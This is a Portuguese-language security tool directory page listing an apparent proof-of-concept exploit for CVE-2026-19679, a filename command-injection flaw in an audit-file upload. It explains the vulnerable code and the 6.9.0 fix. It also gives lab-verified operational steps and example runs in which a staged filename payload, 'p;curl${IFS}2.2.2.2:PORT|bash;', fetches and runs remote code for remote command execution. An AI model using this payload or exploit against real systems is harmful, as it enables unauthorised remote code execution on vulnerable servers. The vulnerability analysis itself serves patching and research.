Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2026-19679 — Prova de conceito de exploit para CVE-2026-19679, uma vulnerabilidade de sanitização insuficiente de nomes de arquivo no upload de arquivo de auditoria que leva à injeção de comandos. Inclui sonda de versão diferencial e modo exec para execução remota de comandos. | Kitploit
Ferramentas/GitHubGitHub/h00die/poc-cve-2026-19679
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

Prova de conceito de exploit para CVE-2026-19679, uma vulnerabilidade de sanitização insuficiente de nomes de arquivo no upload de arquivo de auditoria que leva à injeção de comandos. Inclui sonda de versão diferencial e modo exec para execução remota de comandos.

Ver Repositório
5há 20 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

InfoGraphic

CVE-2026-19679 — sanitização insuficiente de nomes de arquivos enviados (validação de entrada)

Status: CONFIRMADO em um laboratório 6.7.2-14.el9 (2026-08-20). POST /rest/auditFile com tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" retornou HTTP 200 e registrou o AuditFile #1000002 — o nome de arquivo com metacaracteres de shell passou pela validação e foi armazenado de ponta a ponta. No 6.9.0 a mesma solicitação é recusada com "Invalid tailoring filename.".

Vulnerabilidade

Os parâmetros de upload do arquivo de auditoria (filename, tailoringFilename, tailoringOriginalFilename) são validados com (), que verifica apenas três coisas: não vazio, sem (igualdade com ) e se o arquivo temporário existe. — , , crases, e espaços passam intactos.

PARAM_FILENAME
Utility::validateParams()
/
basename()
Não há restrição de conjunto de caracteres
;
$()
${IFS}

Esses nomes então fluem para:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (um arquivo com metacaracteres arbitrários no nome é criado)
  • o comando de reempacotamento do zip SCAP — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") onde o $tmpZipFile sem escape deriva do parâmetro filename do cliente — a injeção de comando a jusante de CVE-2026-19681.

Limite verificado em laboratório: traversal não faz parte da falha pré-6.9 — ambos os parâmetros de tailoring rejeitam / (erro 146 Invalid syntax for attribute ... em um payload ../). A peça que falta é exatamente o filtro de conjunto de caracteres, que é o que o texto do CVE quer dizer com "poderia contribuir para uma injeção de comando a jusante."

Correção (6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

além de basename() em ambos os nomes e escapeshellarg() nos operandos do zip.

PoC

Sonda diferencial de versões — uma solicitação, resultados opostos por versão:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200 (arquivo de auditoria criado com o nome de metacaractere) ou erro 106 (retorno pós-execução; o nome ainda alcançou rename()/zip) → sem validação de conjunto de caracteres
  • 6.9.0 → recusa imediata com "Invalid tailoring filename."

Notas operacionais (todas verificadas em laboratório):

  • o recurso de upload é /rest/file/upload (multipart Filedata, campo de formulário context)
  • o zip de auditoria é preparado com um contexto em branco — context=auditFile executa detecção de conteúdo no zip (erro 107 em um zip fictício)
  • o arquivo de tailoring deve conter XML de datastream analisável com ≥1 Profile (embutido)
  • o corpo do auditFile precisa de type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName

Relação com o CVE-2026-19681

19679 é a lacuna de validação; 19681 é o sink de execução. O mesmo fluxo de upload exercita ambos: 19681 insere metacaracteres no filename temporário (por meio do prefixo context do upload) e os dispara por meio do $tmpZipFile sem escape; 19679 demonstra que os parâmetros irmãos aceitam a mesma classe de caracteres até (e dentro de) a mesma string de comando. O 6.9.0 corrige ambos os lados em uma única área de commit: charset + basename + escapeshellarg.

Exemplo de execução

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
Baixar ferramenta